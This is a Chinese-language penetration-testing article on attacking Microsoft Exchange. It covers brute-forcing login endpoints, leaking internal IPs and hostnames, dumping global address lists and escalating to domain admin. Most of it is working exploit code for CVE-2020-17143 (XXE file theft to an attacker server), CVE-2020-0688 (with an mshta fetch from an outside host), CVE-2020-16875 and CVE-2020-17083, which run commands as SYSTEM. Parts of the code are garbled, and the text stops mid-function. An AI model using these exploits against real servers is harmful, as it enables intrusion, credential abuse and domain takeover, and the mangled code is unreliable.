Exchange漏洞總結
0x00 前言
在滲透測試過程中,Exchange是一個比較奇妙的角色。
一方面,Exchange在外網分布很廣,是外網打點人員進入內網的一個重要渠道。
另外一方面,Exchange在域內有着重要的地位,一般來說,拿到Exchange服務器的權限,基本等同於拿到域管的權限。因此他又是內網選手重點關注對象。
本文將總結部分Exchange已知的特性以及漏洞。
沒有Exchange憑據的情況,主要有
爆破
泄露內網信息
配合釣魚進行NTLM_Relay
有Exchange憑據的情況下,主要有
導出郵箱列表
Exchange RCE漏洞
Exchange SSRF 進行NTLM_Relay
使用hash/密碼 操作EWS接口
攻擊outlook客戶端
從Exchange到域管
以下詳細說明
查看補丁號
請求http://a.com/owa/favicon.ico
0x01爆破
在外網,看到開着Exchange,出現如下界面,我們可能第一反應就是爆破。
出現上面那種還好,burp攔截下,爆破開始。
但是在滲透過程中,經常出現以下這種情況
對於這種情況,我們無需繞過驗證碼即可進行爆破.
事實上,除了上面那個界面之外,以下接口都可進行爆破,而且支持Basic認證方式.
/ecp,/ews,/oab,/owa,/rpc,/api,/mapi,/powershell,/autodiscover,/Microsoft-Server-ActiveSync
這里推薦使用https://github.com/grayddq/EBurst這款工具,他能尋找可以爆破的接口,從而進行爆破
python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
有個需要注意的點就是這款工具不支持自簽名證書,我們手動改下,忽略證書錯誤就行
0x02信息泄露
CVE-2020-17143
一、漏洞簡介
此漏洞使遠程攻擊者可以披露有關受影響的Exchange Server安裝的信息。利用身份驗證才能利用此漏洞。
特定缺陷存在於GetWacIframeUrlForOneDrive服務命令的處理中。造成此問題的原因是缺乏對用戶提供的xml的正確驗證。攻擊者可以利用此漏洞在SYSTEM上下文中披露信息。
二、漏洞影響
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 17
Microsoft Exchange Server 2019 Cumulative Update 6
三、復現過程
poc
CVE-2020-17143.py
!/usr/bin/env python3
import re
import sys
import urllib3
import requests
from threading import Thread
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % self.path)
message = " ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange server!")
message = """
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.xml" in self.path:
d = """
%%dtd;
]>""" % (file, host, int(port))
self._set_response(d)
self.wfile.write(d.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
return
def main(t, usr, pwd, port):
server = HTTPServer(('0.0.0.0', port), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
h = {
"X-OWA-UrlPostData" : '{"request":{"DocumentUrl":"","EndPointUrl":"http://%s:%d/poc.xml"}}' % (host, port),
"Action" : "GetWacIframeUrlForOneDrive"
}
r = s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
h["X-OWA-CANARY"] = s.cookies.get(name='X-OWA-CANARY')
s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
if name == 'main':
if len(sys.argv) != 5:
print("(+) usage: %s
print("(+) eg: %s 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split("😊[0]
pwd = sys.argv[2].split("😊[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split("😊[0]
port = sys.argv[3].split("😊[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd, int(port))
- 泄露Exchange服務器內網IP 地址
把HTTP協議版本修改成1.0,然后去掉http頭里面的HOST參數 或者使用msf auxiliary/scanner/http/owa_iis_internal_ip
可用以匹配的接口列表有
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover/Autodiscover.xml
/Autodiscover
/Exchange
/Rpc
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS
/ecp
/OAB
/OWA
/aspnet_client
/PowerShell
有兩個坑點
如果測試的是文件夾,后面沒加/,比如/owa,有些環境會重定向到/owa/,可能導致無法獲取到IP
msf的腳本里面限定了內網IP范圍,如果企業是自定義的內網IP,可能無法獲取到IP(代碼)
- 泄露Exchange服務器操作系統,主機名,Netbios名
由於支持ntlm認證,在文章利用ntlm進行的信息收集里面已經講過
在type2返回Challenge的過程中,同時返回了操作系統類型,主機名,netbios名等等。這也就意味着如果我們給服務器發送一個type1的請求,服務器返回type2的響應,這一步,我們就可以得到很多信息。
因此我們可以獲取很多信息了,這里使用nmap進行掃描
sudo nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
0x03導出郵箱列表
- 使用ruler
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Linton-Lab.com -u daiker -p 密碼 --verbose --debug abk dump -o list.txt
- 使用MailSniper.ps1
https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1
Get-GlobalAddressList -ExchHostname MAIL -UserName CORP\daiker -Password 密碼 -OutFile global-address-list.txt
- 使用burp
登錄exchange owa,右上角點擊人員,左側所有人員,抓包 一個POST類型的包 POST /owa/service.svc?action=FindPeople&ID=-34&AC=1 Body中有這個字段
默認是80
然后查看響應包,拉到最后
image-20211125195444334
這個是總的郵箱數,然后把80 改成這個數,直接發,就是郵箱數,但是有點多,burp容易卡死。可以這樣右鍵copy as request(這一步需要裝插件),然后復制到python文件里面,后面的內容改下,本來最后一行是
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
改成
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
j = r.json()
results = j.get('Body').get('ResultSet')
import json
print(json.dumps(results))
然后運行python
python 1.py | jq '.[].EmailAddresses[0].EmailAddress' -r|sort|uniq|
這樣就提取出所有的郵箱
4. 使用impacket底下的exchanger.py
今年5月份剛更新的一個腳本
python exchanger.py DOMAIN/daiker:密碼@MAIL nspi list-tables
python exchanger.py DOMAIN/daiker:密碼@MAIL nspi dump-tables -guidxxxx
- 通過OAB
(1) 讀取Autodiscover配置信息,獲取OABUrl
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: MAIL
Accept-Encoding: gzip, deflate
Accept: /
Authorization: Basic YmllamllbGU=
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 355
(2) 讀取OAB文件列表
OABUrl/oab.xml
(3) 下載lzx文件
OABUrl/xx.lzx
(4) 對lzx文件解碼,還原出Default Global Address List
Kali下直接使用的版本下載地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract
./oabextract 67a0647b-8218-498c-91b4-311d4cabd00c-data-1315.lzx gal.oab
strings gal.oab|grep SMTP
0x04RCE漏洞
網上一搜Exchange的RCE漏洞還挺多的,但是在實際滲透中,只需要一個普通用戶憑據,不需要其他條件的,主要有CVE-2020-0688和CVE-2020-17144
CVE-2020-0688
一、漏洞簡介
該漏洞是由於Exchange Control Panel(ECP)組件中使用了靜態秘鑰(validationKey和decryptionKey)所導致的。
所有Microsoft Exchange Server在安裝后的web.config文件中都擁有相同的validationKey和decryptionKey。這些密鑰用於保證ViewState的安全性。而ViewState是ASP.NET Web應用以序列化格式存儲在客戶機上的服務端數據。客戶端通過__VIEWSTATE請求參數將這些數據返回給服務器。
經過身份驗證的攻擊者可以從身份驗證的session中收集ViewStateUserKey,並在登錄請求的原始響應中獲得__VIEWSTATEGENERATOR。通過這兩個值可以利用YSoSerial.net工具生成惡意的ViewState,從而在ECP中執行任意的.NET代碼。由於ECP應用程序是以SYSTEM權限運行的,因而成功利用此漏洞的攻擊者可以以SYSTEM身份執行任意代碼,並完全控制目標Exchange服務器。
二、漏洞影響
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2016 Cumulative Update 14
Microsoft Exchange Server 2016 Cumulative Update 15
Microsoft Exchange Server 2019 Cumulative Update 3
Microsoft Exchange Server 2019 Cumulative Update 4
三、復現過程
需要一個普通權限的登錄賬號
根據網上的漏洞利用方式分析,漏洞出現在Exchange Control Panel (ECP)組件中,所有Microsoft Exchange Server在安裝后的web.config文件中都擁有相同的validationKey和decryptionKey。
這些密鑰用於保證ViewState的安全性,而ViewState是ASP.NET Web應用以序列化格式存儲在客戶機上的服務端數據。由於密鑰是靜態的,攻擊者有了這兩個密鑰,就可以使用 YSoSerial.net 生成序列化后的ViewState數據,從而在Exchange Control Panel web應用上執行任意.net代碼。
靜態的密鑰在所有Microsoft Exchange Server在安裝后的C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\web.config文件中都是相同的:
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
我們要構造ViewState還需要viewstateuserkey和__VIEWSTATEGENERATOR,
viewstateuserkey為用戶登錄后的ASP.NET_SessionId:
__VIEWSTATEGENERATOR在/ecp/default.aspx的前端頁面里面直接獲取:
當擁有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR,使用YSoSerial.net生成序列化后的惡意的ViewState數據:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="2fdc8b0d-dcfb-4d0a-b464-95b9a2dcc968" --isdebug –-islegacy
構造以下URL,使用生成的payload替換,使用上面所說的value值替換,最后用GET請求發送給服務器即可。
http://url/ecp/default.aspx?__VIEWSTATEGENERATOR=
收到dns請求
由於Exchange Server的機器用戶具備SYSTEM權限,默認在域內擁有WriteAcl的權限,因此,可以通過修改ACL的DS-Replication-Get-Changes和DS-Replication-Get-Changes-All來賦予任何一個用戶Dcsync的權限,所以這個漏洞的最大危害在於:在域內擁有一個普通用戶權限的情況下,通過Exchange Server上以system用戶的身份執行任意的命令,再利用Exchange Server的WriteAcl權限,從而達到域管權限。
附錄
經過簡單測試,已知可利用路徑:
/ecp/default.aspx
__VIEWSTATEGENERATOR=B97B4E27
/ecp/PersonalSettings/HomePage.aspx?showhelp=false&
__VIEWSTATEGENERATOR=1D01FD4E
/ecp/PersonalSettings/HomePage.aspx?showhelp=false&
__VIEWSTATEGENERATOR=1D01FD4E
/ecp/Organize/AutomaticReplies.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/RulesEditor/InboxRules.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/Organize/DeliveryReports.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/MyGroups/PersonalGroups.aspx?showhelp=false&
__VIEWSTATEGENERATOR=A767F62B
/ecp/MyGroups/ViewDistributionGroup.aspx?pwmcid=1&id=38f4bec5-704f-4272-a654-95d53150e2ae&ReturnObjectType=1
__VIEWSTATEGENERATOR=321473B8
/ecp/Customize/Messaging.aspx?showhelp=false&
__VIEWSTATEGENERATOR=9C5731F0
/ecp/Customize/General.aspx?showhelp=false&
__VIEWSTATEGENERATOR=72B13321
/ecp/Customize/Calendar.aspx?showhelp=false&
__VIEWSTATEGENERATOR=4AD51055
/ecp/Customize/SentItems.aspx?showhelp=false&
__VIEWSTATEGENERATOR=4466B13F
/ecp/PersonalSettings/Password.aspx?showhelp=false&
__VIEWSTATEGENERATOR=59543DCA
/ecp/SMS/TextMessaging.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/TroubleShooting/MobileDevices.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/Customize/Regional.aspx?showhelp=false&
__VIEWSTATEGENERATOR=9097CD08
/ecp/MyGroups/SearchAllGroups.slab?pwmcid=3&ReturnObjectType=1
__VIEWSTATEGENERATOR=FD338EE0
/ecp/Security/BlockOrAllow.aspx?showhelp=false&
__VIEWSTATEGENERATOR=362253EF
全自動(支持加密)
CVE-2020-0688_EXP Auto trigger payload
python3 CVE-2020-0688_EXP.py -h
usage: CVE-2020-0688_EXP.py [-h] -s SERVER -u USER -p PASSWORD -c CMD [-e]
optional arguments:
-h, --help show this help message and exit
-s SERVER, --server ECP Server URL Example: http://ip/owa
-u USER, --user USER login account Example: domain\user
-p PASSWORD, --password PASSWORD
-c CMD, --cmd CMD Command u want to execute
-e, --encrypt Encrypt the payload
example:
python CVE-2020-0688_EXP.py -s https://mail.x.com/ -u user@x.com -p passwd -c "mshta http://1.1.1.1/test.hta"
需要把ysoserial.exe 放當前目錄
https://github.com/ianxtianxt/ysoserial.net/
encoding: UTF-8
import requests
import readline
import argparse
import re
import sys
import os
import urllib3
from urllib.parse import urlparse
from urllib.parse import quote
urllib3.disable_warnings()
ysoserial_path = os.path.abspath(os.path.dirname(file))+"/ysoserial-1.32/"
session = requests.Session()
def get_value(url, user, pwd):
print("[] Tring to login owa...")
tmp = urlparse(url)
base_url = "{}😕/{}".format(tmp.scheme, tmp.netloc)
paramsPost = {"password": ""+pwd+"", "isUtf8": "1", "passwordText": "", "trusted": "4",
"destination": ""+url+"", "flags": "4", "forcedownlevel": "0", "username": ""+user+""}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0", "Connection": "close", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "PrivateComputer=true; PBack=0"}
cookies = {"PBack": "0", "PrivateComputer": "true"}
login_url = base_url + '/owa/auth.owa'
print("[+] Login url: {}".format(login_url))
try:
login = session.post(login_url, data=paramsPost,
headers=headers, verify=False, timeout=30)
print("[] Status code: %i" % login.status_code)
if "reason=" in login.text or "reason=" in login.url and "owaLoading" in login.text:
print("[!] Login Incorrect, please try again with a different account..")
# sys.exit(1)
#print(str(response.text))
except Exception as e:
print("[!] login error , error: {}".format(e))
sys.exit(1)
print("[+] Login successfully! ")
try:
print("[] Tring to get __VIEWSTATEGENERATOR...")
target_url = "{}/ecp/default.aspx".format(base_url)
new_response = session.get(target_url, verify=False, timeout=15)
view = re.compile(
'id="__VIEWSTATEGENERATOR" value="(.+?)"').findall(str(new_response.text))[0]
print("[+] Done! __VIEWSTATEGENERATOR:{}".format(view))
except:
view = "B97B4E27"
print("[] Can't get __VIEWSTATEGENERATOR, use default value: {}".format(view))
try:
print("[] Tring to get ASP.NET_SessionId....")
key = session.cookies['ASP.NET_SessionId']
print("[+] Done! ASP.NET_SessionId: {}".format(key))
except Exception as e:
key = None
print("[!] Get ASP.NET_SessionId error, error: {} \n[] Exit..".format(e))
return view, key, base_url
def ysoserial(cmd):
cmd = ysoserial_path+cmd
r = os.popen(cmd)
res = r.readlines()
return res[-1]
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", required=True, help="ECP Server URL Example: http://ip/owa")
parser.add_argument("-u", "--user", required=True, help="login account Example: domain\user")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("-c", "--cmd", help="Command u want to execute", required=True)
parser.add_argument("-e", "--encrypt", help="Encrypt the payload", action='store_true',default=False)
args = parser.parse_args()
url = args.server
print("[] Start to exploit..")
user = args.user
pwd = args.password
command = args.cmd
view, key, base_url = get_value(url, user, pwd)
if key is None:
key = 'test'
sys.exit(1)
ex_payload = """ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{}" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{}" --viewstateuserkey="{}" --islegacy """.format(command,view,key)
if args.encrypt:
re_payload = ex_payload + ' --decryptionalg="3DES" --decryptionkey="E9D2490BD0075B51D1BA5288514514AF" --isencrypted'
else:
re_payload = ex_payload + " --isdebug"
print("\n"+re_payload)
out_payload = ysoserial(re_payload)
if args.encrypt:
final_exp = "{}/ecp/default.aspx?__VIEWSTATEENCRYPTED=&__VIEWSTATE={}".format(base_url, quote(out_payload))
else:
final_exp = "{}/ecp/default.aspx?__VIEWSTATEGENERATOR={}&__VIEWSTATE={}".format(base_url, view, quote(out_payload))
print("\n[+] Exp url: {}".format(final_exp))
print("\n[] Auto trigger payload..")
status = session.get(final_exp,verify=False,timeout=15)
if status.status_code==500:
print("[*] Status code: %i, Maybe success!" % status.status_code)
if name == "main":
main()
參考鏈接
https://www.anquanke.com/post/id/199772
CVE-2020-16875
一、漏洞簡介
有安全人員公開了Exchange Server遠程代碼執行漏洞(CVE-2020-16875)的利用程序,此漏洞為微軟在9月8日例行月度安全更新中披露;Microsoft Exchange在Internet Explorer處理內存中的對象時存在該漏洞。利用此漏洞需要具有以某個Exchange角色進行身份驗證的用戶權限。
攻擊者可通過向受影響的Exchange服務器發送包含特殊的cmdlet參數的郵件來觸發此漏洞,成功利用此漏洞的攻擊者可在受影響的系統上以system權限執行任意代碼。
利用條件
需要一個Exchange用戶賬號
二、漏洞影響
Microsoft:Exchange_server_2016: cu16/cu17
Microsoft:Exchange_server_2019: cu5/cu6
三、復現過程
需要一個Exchange用戶賬號。就能在Exchange服務器上執行任意命令。
poc
CVE-2020-16875.py
!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
Notes:
The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments : {Data Loss Prevention-dlp users}
Roles : {Data Loss Prevention}
DisplayName :
ExternalDirectoryObjectId :
Members : {exchangedemo.com/Users/Harry Mull}
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass : {top, group}
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
Example:
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))
def get_xml(c):
return """
def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"
def leak_viewstate(t, s):
r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
match = re.search("<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="(.*)" />", r.text)
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)
def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination": "https://%s/owa" % t,
"flags": "",
"username": usr,
"password": pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s
def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)
print("(+) logged in as %s" % usr)
vs = leak_viewstate(t, s)
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)
if name == 'main':
if len(sys.argv) != 4:
print("(+) usage: %s
print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split("😊[0]
pwd = sys.argv[2].split("😊[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)
powershell版本:
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
Notes:
The (ab)user needs the "Data Loss Prevention" role assigned
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy :
RoleAssignments :
Roles :
DisplayName :
ExternalDirectoryObjectId :
Members :
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass :
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
Example:
PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr harrym@exchangedemo.com -pwd user123### -cmd mspaint
(+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with harrym@exchangedemo.com:user123###
(+) executed mspaint as SYSTEM!
PS C:\Users\researcher>
param (
[Parameter(Mandatory=$true)][string]$server,
[Parameter(Mandatory=$true)][string]$usr,
[Parameter(Mandatory=$true)][string]$pwd,
[string]$cmd = "mspaint"
)
Function Get-RandomAlphanumericString {
[CmdletBinding()]
Param (
[int] $length = 8
)
Process{
Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) )
}
}
function Exploit-Exchange {
Param (
[string] $server,
[string] $usr,
[string] $pwd,
[string] $cmd
)
"(+) targeting $server with ${usr}:$pwd"
$securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds
$xml = @"
$n = Get-RandomAlphanumericString
[Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml)
Invoke-Command -Session $s -ScriptBlock {
New-DlpPolicy -Name $Using:n -TemplateData $Using:d
} | Out-Null
"(+) executed $cmd as SYSTEM!"
}
Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd
CVE-2020-17083
一、漏洞簡介
二、漏洞影響
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 17
Microsoft Exchange Server 2019 Cumulative Update 6
Microsoft Exchange Server 2013 Cumulative Update 23
三、復現過程
poc
CVE-2020-17083.ps1
Microsoft Exchange Server ExportExchangeCertificate WriteCertiricate File Write Remote Code Execution Vulnerability
Patch: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17083
CVSS v3: 9.1 (/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C)
Notes:
The (ab)user needs the "Exchange Server Certificates" role assigned
[PS] C:\Windows\system32>New-RoleGroup -Name "cert users" -Roles "Exchange Server Certificates" -Members "harryh"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
cert users {Exchange Server Certificates} {Exchange Server Certificates-cert users}
[PS] C:\Windows\system32>Get-RoleGroup "cert users" | Format-List
RunspaceId : a97d7e2c-d036-4bfc-b95c-4fabcb644160
ManagedBy :
RoleAssignments :
Roles :
DisplayName :
ExternalDirectoryObjectId :
Members :
SamAccountName : cert users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/cert users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : cert users
DistinguishedName : CN=cert users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : 6fb0b860-2cc2-4fe1-9489-d93dbbed8c9f
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass :
WhenChanged : 6/12/2020 4:15:54 AM
WhenCreated : 6/12/2020 1:34:51 AM
WhenChangedUTC : 6/11/2020 8:15:54 PM
WhenCreatedUTC : 6/11/2020 5:34:51 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/cert users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
Example:
PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr harryh@exchangedemo.com -pwd user123### -cmd mspaint
(+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with harryh@exchangedemo.com:user123###
(+) wrote to target file C:/Windows/Temp/rXq1U2tD.hta
(+) wrote to target file C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp/4VFQwc7W.aspx
(+) shell written, executing command...
(+) executed mspaint as SYSTEM!
PS C:\Users\researcher>
param (
[Parameter(Mandatory=$true)][string]$server,
[Parameter(Mandatory=$true)][string]$usr,
[Parameter(Mandatory=$true)][string]$pwd,
[string]$cmd = "mspaint"
)
Function Get-RandomAlphanumericString {
[CmdletBinding()]
Param (
[int] $length = 8
)
Process{
Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) )
}
}
function Writebad-File{
Param (
[string] $fn,
[string] $content,
[System.Management.Automation.Runspaces.PSSession] $session
)
$selector = Get-RandomAlphanumericString
Invoke-Command -Session $session -ScriptBlock {
New-ExchangeCertificate -BinaryEncoded -GenerateRequest -SubjectName "c=$Using:selector,o=$Using:content,cn=si"
} | Out-Null
$thumb = Invoke-Command -Session $session -ScriptBlock {
Get-ExchangeCertificate
} | Where-Object -Property Subject -like "c=$selector" | select-object -Expand Thumbprint
# this is where the file write is for this bug
Invoke-Command -Session $session -ScriptBlock {
Export-ExchangeCertificate -Thumbprint $Using:thumb -FileName $Using:fn -BinaryEncoded;
} | Out-Null
}
function Exploit-Exchange {
Param (
[string] $server,
[string] $usr,
[string] $pwd,
[string] $cmd
)
